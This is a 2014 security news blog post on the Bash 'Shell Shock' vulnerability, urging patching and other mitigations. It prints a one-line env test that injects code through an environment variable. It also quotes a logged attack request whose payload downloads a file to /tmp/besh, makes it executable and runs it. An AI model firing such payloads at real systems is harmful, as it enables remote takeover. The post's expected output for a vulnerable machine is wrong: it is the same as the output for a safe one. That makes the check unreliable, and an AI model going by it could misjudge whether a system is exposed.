Take Steps to Deal With Bash Bug "Shell Shock" Now

Posted on by Fahmida Y. Rashid

It’s bad enough that many IT security teams are still dealing with the effects of the Heartbleed vulnerability in OpenSSL, but now they also have to handle Shell Shock, a vulnerability in the widely used command interpreter Bash. 

The flaw is present in how Bash sets environment variables and allows attackers launch remote code injection attacks to hijack the vulnerable machine. Threatpost does a great job explaining the issue, and Robert Graham of Errata Security has some of the best analysis so far of the problem.  

"So Bash Shell Shock is being heavily exploited. Patch your servers fast, please please, please," Graham wrote on Twitter early this morning.

Over the past 24 hours, experts have reported seeing attacks in the wild, including self-replicating worms, exploiting the vulnerability. Red Hat and other Linux distributions have released patches for Bash to close the flaw. While experts have confirmed that the patches aren’t complete, as attackers can still get around the patch and compromise the machine,  they agree it’s still a good idea to apply the patch. 

“Some protection is better than nothing at all,” said David Jacoby, a senior researcher from Kaspersky Lab.

Many experts are calling this Heartbleed 2.0 because Bash can be found on Linux and Unix servers, Mac OS X computers, and embedded devices and networking gear such as routers. Because the attacker can potentially gain full access of the machine, system administrators need to act promptly. 

There is a very simple check to see if your machines are vulnerable. Open a terminal window and enter the following command at the $ prompt: 

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If you're vulnerable it'll print:

this is a test

If the machine is not vulnerable, then you’ll only see:

this is a test 

As stated earlier, apply the patches as soon as they become available. It's also a good idea to monitor your HTTP logs to see if any attacks targeting the flaw are already hitting your network. Over on the SecureList blog, Kaspersky Lab researchers gave an example of a malicious pattern: - - [25/Sep/2014:14:00:00 +0000] "GET / HTTP/1.0"  400 349 "() { :; }; wget -O /tmp/besh; chmod 777  /tmp/besh; /tmp/besh;" 

An immediate workaround is to use the AcceptEnv command option in /etc/sshd_config to reject any environment variables from the client, recommended Tatu Ylönen, CEO of SSH Communications Security. You can do this by  typically deleting the AcceptEnv line from the default configuration file, he said.

Other steps IT security teams can take to restrict the damage from this bug until it can be fully patched include limiting access to scripts and applications that interact with Bash, limit local access where possible, and create firewall and IDS/IPS rules to block malicious activity.

"Audit and monitor system and network activity for suspicious activity - don’t wait for a breach, know what’s going on," said Nicole Pauls, director of product management for SolarWinds’ security group.

There is a lot we don't know about Shell Shock yet, so keep an eye on your network and close off whatever you don't need and updated whatever you can. It's pretty safe to assume we will be seeing more Shell Shock attacks over the next few days, weeks, and months.

Fahmida Y. Rashid

Information Security Journalist, Editor-in-Chief, RSA Conference


Blogs posted to the RSAConference.com website are intended for educational purposes only and do not replace independent professional judgment.  Statements of fact and opinions expressed are those of the blog author individually and, unless expressly stated to the contrary, are not the opinion or position of RSA® Conference, RSA Security LLC or any other co-sponsors. RSA Conference does not endorse or approve, and assumes no responsibility for, the content, accuracy or completeness of the information presented in this blog.

Share With Your Community